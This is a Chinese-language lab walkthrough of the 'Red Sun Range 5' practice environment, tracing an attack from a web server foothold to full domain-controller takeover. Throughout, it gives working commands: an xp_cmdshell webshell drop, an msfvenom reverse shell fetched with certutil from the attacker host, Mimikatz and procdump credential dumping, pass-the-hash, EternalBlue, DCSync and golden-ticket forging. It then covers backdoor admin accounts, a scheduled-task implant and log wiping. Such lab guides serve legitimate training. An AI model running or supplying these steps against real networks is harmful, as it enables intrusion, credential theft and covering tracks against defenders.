红日靶场5实战:从外网突破到域控攻防的内网渗透全流程解析
1. 项目概述为什么红日靶场5是内网渗透的“必修课”如果你对网络安全、渗透测试感兴趣尤其是想深入Windows内网攻防这个领域那么“红日靶场”这个名字你肯定不陌生。它不是一个商业产品而是一个由国内安全爱好者自发搭建和维护的、高度仿真的实战演练环境。红日靶场5作为其系列中的经典之作模拟了一个典型的企业内网环境从一台暴露在公网边缘的Web服务器作为突破口到内网横向移动最终目标是攻陷整个域Domain的核心——域控制器Domain Controller。这个过程几乎复刻了真实攻击中“由外到内由点到面”的完整链条。我之所以花时间折腾这个靶场是因为它把很多抽象的概念给具象化了。你看再多的理论文章都不如亲手把一条攻击路径打通来得深刻。比如你知道了“永恒之蓝”MS17-010这个漏洞的编号但你知道在内网里怎么用它来横向移动吗你听说过“黄金票据”Golden Ticket和“白银票据”Silver Ticket但你知道在什么场景下用、具体命令怎么敲吗红日靶场5就是这样一个“实验室”它把这些知识点串联成一个有逻辑、有挑战的实战任务。这个靶场适合所有想从“脚本小子”进阶为“内网渗透工程师”的朋友。无论你是刚学完基础Web渗透想了解内网是怎么回事还是已经有一定经验但想系统化地梳理Windows域环境下的攻击手法它都能给你带来巨大的提升。接下来我就把我通关红日靶场5的完整过程、踩过的坑以及总结的技巧毫无保留地分享给你。我们会从最开始的公网信息收集讲起一步步打到域控手把手带你走完整个流程。2. 环境准备与靶场搭建打造你的专属“练兵场”工欲善其事必先利其器。在开始“冲锋陷阵”之前我们得先把战场布置好。红日靶场5通常以虚拟机镜像.ova或.vmdk格式的形式提供你需要一个虚拟化软件来运行它。2.1 虚拟化平台选择与网络配置最常见的选择是VMware Workstation或Player和VirtualBox。我个人更倾向于VMware因为它在网络配置和性能上更稳定也更贴近企业虚拟化环境。下载好靶场镜像后直接导入即可。网络配置是第一个关键点。红日靶场5通常包含三台虚拟机Windows 7 (x64)作为攻击者的跳板机或初始立足点通常被配置为NAT模式模拟一台已被初步控制的公网服务器。Windows Server 2008 (x64)内网中的一台重要服务器可能是文件服务器或应用服务器。Windows Server 2003 (x64)最终目标——域控制器DC。为了让这三台机器能互相通信同时让我们的攻击机通常是Kali Linux能访问到它们需要仔细设置网络。攻击机Kali Linux设置为NAT或桥接模式确保它能上网下载工具并且能与Windows 7通信。Windows 7需要两张网卡。第一张网卡设为NAT或桥接用于连接攻击机模拟公网入口。第二张网卡设为仅主机模式Host-Only这张网卡将用于连接内网。Windows Server 2008 2003它们的网卡都设置为仅主机模式并且要和Windows 7的第二张网卡在同一个仅主机模式的网络中比如都使用VMnet1。这样网络拓扑就清晰了攻击机 - (通过NAT网络) - Windows 7 - (通过仅主机网络) - 内网Win2008 Win2003 DC。Windows 7就成了我们进入内网的“桥头堡”。注意导入镜像后务必检查每台虚拟机的网卡设置是否与上述规划一致。一个常见的坑是虚拟机默认可能只启用了一张网卡你需要手动为Windows 7添加第二张网卡并设置为仅主机模式。2.2 靶机初始化与信息记录启动所有虚拟机后不要急着攻击。先进行一些基本的初始化操作和信息记录这能节省后面大量时间。获取IP地址登录到每台Windows虚拟机默认账号密码通常在靶场说明文档里打开命令行cmd输入ipconfig记录下每台机器的IP地址。特别是Windows 7在仅主机模式网卡上获取到的IP例如192.168.xx.xx这就是我们进入内网的网关IP。关闭防火墙为了降低初期演练的复杂度专注于攻防手法本身建议暂时关闭所有Windows虚拟机的防火墙。在命令行输入netsh advfirewall set allprofiles state off记录关键信息准备一个文本文件记录以下信息各虚拟机IPNAT网段、仅主机网段。已知的弱口令或默认口令如administrator/123456等这是靶场为了练习设置的。域的名称通常启动Windows Server 2003后在登录界面或系统属性里能看到比如REDTEAM.LAB。做好这些你的实战环境就准备好了。接下来我们的攻击机Kali Linux将会登场从外部对Windows 7发起第一波攻击。3. 外网突破寻找薄弱的第一道门我们的攻击起点是那台拥有双网卡、暴露在“公网”对我们来说是NAT网络的Windows 7机器。假设我们只知道它的IP地址对它的其他情况一无所知。这就是一个典型的外部渗透测试开始场景。3.1 信息收集与端口扫描首先用Kali Linux对Windows 7的IP进行全面的端口扫描看看它开放了哪些服务。Nmap是首选工具。# 快速扫描常见端口 nmap -sS -T4 Windows_7_NAT_IP # 全面扫描所有端口并尝试识别服务版本速度较慢但详细 nmap -sS -sV -p- -T4 Windows_7_NAT_IP扫描结果可能会显示开放了80端口HTTP、445端口SMB、3389端口RDP等。在红日靶场5的典型设置中80端口上往往运行着一个存在漏洞的Web应用这是我们最常见的突破口。3.2 Web应用漏洞利用以SQL注入为例假设扫描发现http://Windows_7_IP是一个网站。我们打开浏览器访问可能是一个简单的登录页面或信息展示页面。接下来就是常规的Web渗透流程目录扫描使用dirsearch或gobuster寻找隐藏目录、后台管理页面等。dirsearch -u http://Windows_7_IP -e php,asp,aspx,jsp漏洞探测对发现的登录框、搜索框等交互点测试SQL注入、XSS、命令注入等。例如在一个新闻展示页面URL可能是http://Windows_7_IP/news.php?id1我们可以尝试经典的注入测试id1或id1 and 12。获取Webshell如果存在SQL注入且是MSSQL数据库Windows服务器常用可以尝试利用xp_cmdshell执行系统命令进而写入一个Webshell文件到网站目录。例如通过SQL注入执行EXEC master..xp_cmdshell echo ^% Page LanguageC# %^^%System.Diagnostics.Process process new System.Diagnostics.Process();process.StartInfo.FileName cmd.exe;process.StartInfo.Arguments /c Request[c];process.StartInfo.RedirectStandardOutput true;process.StartInfo.UseShellExecute false;process.Start();Response.Write(process.StandardOutput.ReadToEnd());%^ C:\inetpub\wwwroot\cmd.aspx这段命令需根据实际情况调整路径和语法会尝试写入一个简单的ASPX Webshell。成功后访问http://Windows_7_IP/cmd.aspx?cwhoami如果返回了命令执行结果如nt authority\system说明我们拿到了Windows 7服务器的系统权限。实操心得在真实环境中xp_cmdshell可能被禁用需要先启用。但在靶场中为了降低难度通常直接可用。如果不行可以尝试其他方法如利用SQL注入的UNION查询配合into outfile写文件需知道绝对路径且有写权限或者使用sqlmap的--os-shell参数自动尝试多种getshell方式。3.3 建立持久化通道与初步内网探测通过Webshell执行命令是临时的我们需要建立一个更稳定、功能更全的后门。通常使用MSFVenom生成一个反向Shell的Payload然后在Webshell中下载并执行。在Kali上生成Payloadmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST你的Kali_IP LPORT4444 -f exe -o shell.exe在Webshell中下载并执行# 在Webshell中执行 certutil -urlcache -split -f http://你的Kali_IP/shell.exe C:\Windows\Temp\shell.exe C:\Windows\Temp\shell.exe在Kali上启动MSF监听msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 你的Kali_IP set LPORT 4444 exploit如果一切顺利你会获得一个Meterpreter会话。至此我们成功突破了外网防线在Windows 7上站稳了脚跟。接下来就要以此为基础向内网进发。初步内网探测在Meterpreter会话中我们可以先收集Windows 7本身的信息。# 获取系统信息 sysinfo # 获取当前权限 getuid # 查看网络接口和路由 run post/windows/manage/arp_scanner RHOSTS192.168.xx.0/24 # 扫描内网网段 ipconfig通过ipconfig你能看到Windows 7在“仅主机网络”中的那个内网IP比如192.168.52.143以及它的内网网关。同时用ARP扫描可以发现内网中存活的其他主机Windows Server 2008和2003假设它们的IP是192.168.52.138和192.168.52.141。我们的内网之旅正式开启。4. 内网横向移动在“黑暗森林”中穿梭拿到Windows 7的控制权后我们相当于进入了内网。但此时的权限可能只是一个普通用户或者虽然是SYSTEM权限但仅限于Windows 7这一台机器。内网横向移动的目标是获取内网中其他主机特别是Windows Server 2008的权限并尽可能提升权限、收集凭证。4.1 凭证收集与哈希传递Pass the Hash在Windows域环境中最宝贵的资产就是各种凭证用户名和密码哈希。我们首先在Windows 7上收集这些信息。在Meterpreter会话中# 迁移到一个稳定的进程如explorer.exe中避免会话因进程退出而丢失 ps # 查看进程列表 migrate explorer.exe的PID # 加载Mimikatz扩展来抓取哈希和明文密码 load kiwi creds_allcreds_all命令会尝试从内存中提取所有可用的登录凭证包括LM/NTLM哈希和可能的明文密码。你可能会看到类似Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::这样的输出这就是NTLM哈希。假设我们抓取到了本地管理员Administrator的哈希并且通过信息收集发现内网中的Windows Server 2008IP:192.168.52.138也使用了相同的本地管理员密码在小型网络或配置不当的系统中很常见。那么我们可以直接使用“哈希传递”Pass-the-Hash, PtH攻击无需破解密码直接用哈希登录。# 在Meterpreter中使用kiwi模块进行PtH kiwi_cmd sekurlsa::pth /user:Administrator /domain:WORKGROUP /ntlm:32ed87bdb5fdc5e9cba88547376818d4 # 注意如果目标机器是域成员/domain参数应为域名如果是工作组则为机器名或WORKGROUP。执行后会弹出一个新的cmd.exe窗口这个窗口已经继承了刚刚注入的凭证。在这个新窗口里我们可以尝试访问Windows Server 2008的共享或服务。# 在新cmd中使用net use建立IPC$连接 net use \\192.168.52.138\IPC$ /user:Administrator * # 当提示输入密码时直接回车因为我们已经通过哈希传递完成了认证 dir \\192.168.52.138\C$ # 如果连接成功可以列出C盘目录如果dir命令成功说明我们已拥有Windows Server 2008的管理员权限。接下来就可以复制后门文件过去并执行从而控制这台服务器。4.2 利用永恒之蓝MS17-010进行横向移动另一种常见情况是抓取的哈希无法直接进行PtH或者我们想尝试其他攻击面。这时漏洞利用就派上用场了。Windows Server 2008如果没有及时打补丁很可能存在“永恒之蓝”MS17-010漏洞。我们可以从Windows 7跳板机上直接对内网目标发起攻击。首先在Windows 7的Meterpreter会话中添加通往内网的路由让MSF的攻击模块能通过这个跳板打到内网机器。# 查看当前网段 run get_local_subnets # 添加路由 (假设内网网段是192.168.52.0/24) run autoroute -s 192.168.52.0/24 # 查看路由是否添加成功 run autoroute -p然后在MSF控制台另一个终端或background当前会话后使用exploit/windows/smb/ms17_010_eternalblue模块。# 在MSF中 use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.52.138 # 目标内网IP set payload windows/x64/meterpreter/bind_tcp # 因为是从内网跳板发起攻击用bind_tcp set LPORT 4445 # 绑定端口 exploit如果攻击成功你会获得一个直接连接到Windows Server 2008的Meterpreter会话。至此我们成功实现了从Windows 7到Windows Server 2008的横向移动。注意事项永恒之蓝漏洞利用不稳定可能导致目标系统蓝屏崩溃。在真实渗透测试中需谨慎使用并做好授权。在靶场中则可以大胆尝试。如果失败可以多试几次或者尝试该漏洞的其他利用模块如ms17_010_psexec。4.3 权限提升与信息深度收集在Windows Server 2008上获得初始Shell后可能是普通用户权限我们需要提权到SYSTEM。可以使用本地提权漏洞也可以利用之前收集的凭证。这里假设我们通过永恒之蓝直接获得了SYSTEM权限。接下来在这台新控制的服务器上进行更深入的凭证收集目标直指域账户。# 在Windows Server 2008的Meterpreter会话中 load kiwi kiwi_cmd sekurlsa::logonpasswords这次抓取我们极有可能看到域账户的凭证例如一个域管理员REDTEAM\Administrator登录过这台服务器其哈希或明文密码就会被抓取到。这是通往域控的“黄金钥匙”。同时进行内网信息收集为攻击域控做准备# 获取网络信息 ipconfig /all route print # 查看ARP缓存发现其他主机 arp -a # 使用MSF模块进行内网主机发现和端口扫描通过已建立的路由 background # 将当前会话放到后台 use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.52.0/24 set PORTS 445,389,53,88 # 扫描域控常见端口SMB, LDAP, DNS, Kerberos run通过扫描我们能确认域控制器Windows Server 2003 IP:192.168.52.141的存活和端口开放情况。5. 域控攻防夺取皇冠上的明珠掌握了域管理员凭证后攻击域控制器就有了多种选择。我们的目标是完全控制域控证明我们已经掌控了整个域。5.1 利用PsExec直接获取Shell最直接的方式是使用PsExec它利用SMB服务445端口和给定的凭证在远程系统上执行命令。我们已经有了域管理员哈希可以直接使用。在MSF中我们可以使用exploit/windows/smb/psexec模块。use exploit/windows/smb/psexec set RHOSTS 192.168.52.141 # 域控IP set SMBUser Administrator set SMBPass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 # 这里填入抓取到的域管理员NTLM哈希 set SMBDomain REDTEAM set payload windows/x64/meterpreter/bind_tcp exploit如果凭证正确且权限足够MSF会尝试通过SMB服务在域控上创建服务并执行Payload从而给我们返回一个域控的SYSTEM权限Shell。5.2 黄金票据Golden Ticket攻击这是一种更高级、更持久的权限维持方法。即使域管理员密码被更改黄金票据在有效期内依然有效。要制作黄金票据我们需要一个关键信息域的KRBTGT账户的NTLM哈希。这个账户是域Kerberos认证服务的核心其哈希极少更改。首先我们需要在域控或任何拥有域控权限的主机如我们已控制的Windows Server 2008上获取KRBTGT的哈希。在域控的Meterpreter会话中如果已获得load kiwi kiwi_cmd lsadump::dcsync /domain:REDTEAM.LAB /user:krbtgt或者在已获得域管理员权限的Windows Server 2008上使用Mimikatz远程执行DCSync# 在Windows Server 2008的cmd中通过PtH获得的那个 # 先上传mimikatz.exe mimikatz.exe lsadump::dcsync /domain:REDTEAM.LAB /user:krbtgt exit命令输出中会包含KRBTGT账户的RC4-HMAC即NTLM哈希记录下来。然后在攻击机Kali上我们可以脱离MSF使用impacket工具包中的ticketer.py来伪造黄金票据。# 首先获取域的SID。可以在域控或域成员上执行 # whoami /user 或者 wmic useraccount where nameAdministrator get sid # 假设域SID是S-1-5-21-4156428301-2230187450-3897855176 python3 ticketer.py -nthash KRBTGT的NTLM哈希 -domain-sid S-1-5-21-4156428301-2230187450-3897855176 -domain REDTEAM.LAB Administrator这个命令会生成一个名为Administrator.ccache的票据文件。接下来我们设置环境变量让Linux系统使用这个票据进行Kerberos认证然后使用impacket的psexec或smbexec等工具无需密码即可连接域控。export KRB5CCNAME/path/to/Administrator.ccache python3 psexec.py -k -no-pass REDTEAM.LAB/Administratordc.redteam.lab # dc.redteam.lab是域控的主机名-k参数表示使用Kerberos认证-no-pass表示不需要密码。如果一切正常你将直接获得域控的SYSTEM权限命令行。这证明了黄金票据的强大之处它绕过了对密码的依赖直接利用Kerberos协议本身的信任关系。5.3 权限维持与痕迹清理拿到域控权限后渗透测试的主要目标已经达成。但在实战或更完整的演练中我们还需要考虑如何维持访问权限以及清理痕迹。创建隐藏后门账户在域控上创建一个属于域管理员组、且不易被发现的账户。# 在域控shell中 net user eviladmin Pssw0rd! /add /domain net group Domain Admins eviladmin /add /domain # 更隐蔽的做法克隆现有管理员账户的SID或者使用Skeleton Key需要注入LSASS进程部署持久化后门如计划任务、服务、WMI事件订阅、启动项等。例如创建一个每小时运行一次的计划任务连接回我们的C2服务器。schtasks /create /tn WindowsUpdateCheck /tr C:\Windows\Temp\shell.exe /sc hourly /mo 1 /ru SYSTEM清理日志使用wevtutil命令清除安全日志、系统日志等但需注意在高度安全的环境中集中日志服务器可能已经记录了所有操作本地清理无效。wevtutil cl Security wevtutil cl System重要提醒在靶场练习中为了环境复用可以不进行破坏性操作和深度痕迹清理。但在真实授权的渗透测试中所有操作都必须严格遵守授权范围并在测试结束后协助客户清理测试留下的后门和账户。6. 常见问题与排查技巧实录在整个红日靶场5的攻防演练中你几乎一定会遇到各种问题。下面是我和很多同行踩过坑后总结出来的经验。6.1 网络连通性问题问题Kali能ping通Windows 7的NAT IP但Windows 7ping不通内网的其他机器192.168.52.138/141。排查检查Windows 7的“仅主机模式”网卡是否已启用并获取到IPipconfig。检查Windows Server 2008/2003的网卡是否也设置在同一个仅主机模式网络如VMnet1。检查所有虚拟机的防火墙是否已关闭。在Windows 7上执行arp -a看是否能发现内网其他主机的MAC地址。如果看不到说明二层就不通确认虚拟网络设置。问题MSF的autoroute添加了路由但后续扫描模块还是发现不了内网主机。排查使用run autoroute -p确认路由添加成功。使用route print在Meterpreter的shell中查看跳板机自身的路由表确保它有通往内网网段的路由。尝试使用auxiliary/scanner/discovery/arp_sweep模块进行扫描因为它基于ARP不依赖路由。如果ARP能扫到但TCP扫不到可能是目标防火墙拦截。6.2 漏洞利用失败问题问题永恒之蓝MS17-010利用模块总是失败返回Target is not vulnerable或直接导致目标蓝屏。排查与技巧确认目标是否真的存在漏洞使用auxiliary/scanner/smb/smb_ms17_010模块先进行扫描确认。尝试不同Payload和参数将payload从windows/x64/meterpreter/bind_tcp换成windows/x64/meterpreter/reverse_tcp并正确设置LHOST指向你的Kali IP和LPORT。有时bind_tcp会被目标防火墙阻止。使用备用利用模块尝试exploit/windows/smb/ms17_010_psexec它可能更稳定。系统兼容性某些Windows 7/2008 R2的版本可能需要特定版本的利用代码。确保你的Metasploit是最新版本。问题PsExec模块exploit/windows/smb/psexec失败提示Login Failed。排查凭证问题双重检查用户名、域名、密码/哈希是否正确。特别注意如果使用哈希格式必须是LMHASH:NTLMHASH如果LM哈希未知就用aad3b435b51404eeaad3b435b51404ee填充。权限问题确保使用的账户在目标机器上有管理员权限。在工作组环境中需要的是目标机器的本地管理员在域环境中需要是域管理员或目标机器的本地管理员。SMB签名如果目标服务器强制要求SMB签名而你的连接未签名也会失败。可以尝试在MSF中设置SMBDirect和SMB::AlwaysSign选项或者使用impacket的smbexec.py它有时能更好地处理签名问题。6.3 凭证相关与横向移动问题问题Mimikatz的sekurlsa::logonpasswords抓不到密码或哈希。排查与技巧权限必须以SYSTEM权限运行Mimikatz。在Meterpreter中先用getsystem提权或迁移到lsass.exe进程PID通常为500多。系统版本高版本Windows如Win10 1809之后 Server 2016之后默认启用“受保护的进程”Protected Process Light, PPL保护lsass使得常规内存读取失效。需要先绕过PPL或使用其他方式如DCSync需要域管理员权限、SAM/SYSTEM文件转储等。使用其他方法在Meterpreter中可以使用hashdump命令直接抓取本地SAM数据库中的哈希但抓不到域缓存凭证。或者上传procdump工具将lsass.exe进程内存dump下来下载到本地再用Mimikatz分析。# 在目标机上传procdump upload /usr/share/windows-resources/procdump/procdump.exe C:\\Windows\\Temp\\ # 在目标机shell中执行 C:\\Windows\\Temp\\procdump.exe -accepteula -ma lsass.exe lsass.dmp # 下载dump文件到Kali download lsass.dmp /tmp/ # 在Kali上用Mimikatz分析 python3 -m pypykatz lsa minidump /tmp/lsass.dmp问题哈希传递PtH成功但无法访问目标共享或执行命令。排查访问限制目标可能设置了本地安全策略限制了空会话或特定用户的网络访问。尝试使用net use建立IPC$连接后使用sc命令远程创建服务来执行命令这比直接访问文件共享更可靠。sc \\192.168.52.138 create EvilService binPath cmd /c C:\shell.exe sc \\192.168.52.138 start EvilService用户账户控制UAC远程PtH获得的令牌可能是一个“过滤的管理员令牌”受UAC限制。可以尝试使用runas或计划任务来绕过。6.4 域控相关与黄金票据问题问题DCSync操作失败提示“访问被拒绝”。排查权限不足执行DCSync的账户必须拥有域控的Replicating Directory Changes和Replicating Directory Changes All权限。通常只有域管理员组、企业管理员组等高级别账户才有。确保你使用的账户是域管理员。网络可达确保从你执行DCSync的机器能访问域控的389LDAP端口。问题生成的黄金票据.ccache文件无法使用psexec.py -k连接失败。排查时间同步Kerberos协议对时间非常敏感要求客户端和KDC域控的时间差通常在5分钟内。确保你的Kali系统时间与域控时间同步。可以在Kali上安装ntpdate进行同步。sudo ntpdate 域控IP域名和主机名确保生成票据时使用的域名REDTEAM.LAB和连接时使用的主机名dc.redteam.lab正确且DNS解析正常。可以在Kali的/etc/hosts文件中手动添加解析。192.168.52.141 dc.redteam.lab票据有效期默认生成的票据有效期是10年但可以检查一下。使用klist命令需要安装krb5-user包查看票据缓存信息。尝试其他工具如果impacket的psexec.py不行可以试试wmiexec.py或atexec.py它们也支持Kerberos认证。整个红日靶场5的攻防链条走下来你会发现内网渗透更像是一个“拼图”游戏。外网突破拿到一块拼图跳板机内网信息收集拿到几块网络拓扑、IP、主机名凭证抓取又拿到几块本地哈希、域哈希最后用合适的攻击手法PtH、漏洞、票据把这些拼图组合起来最终完成夺取域控的完整画面。这个过程没有固定的唯一解需要你根据实际情况灵活运用各种工具和技巧。多练几次把每个环节的原理和替代方案都搞清楚你面对真实内网时才会更有底气。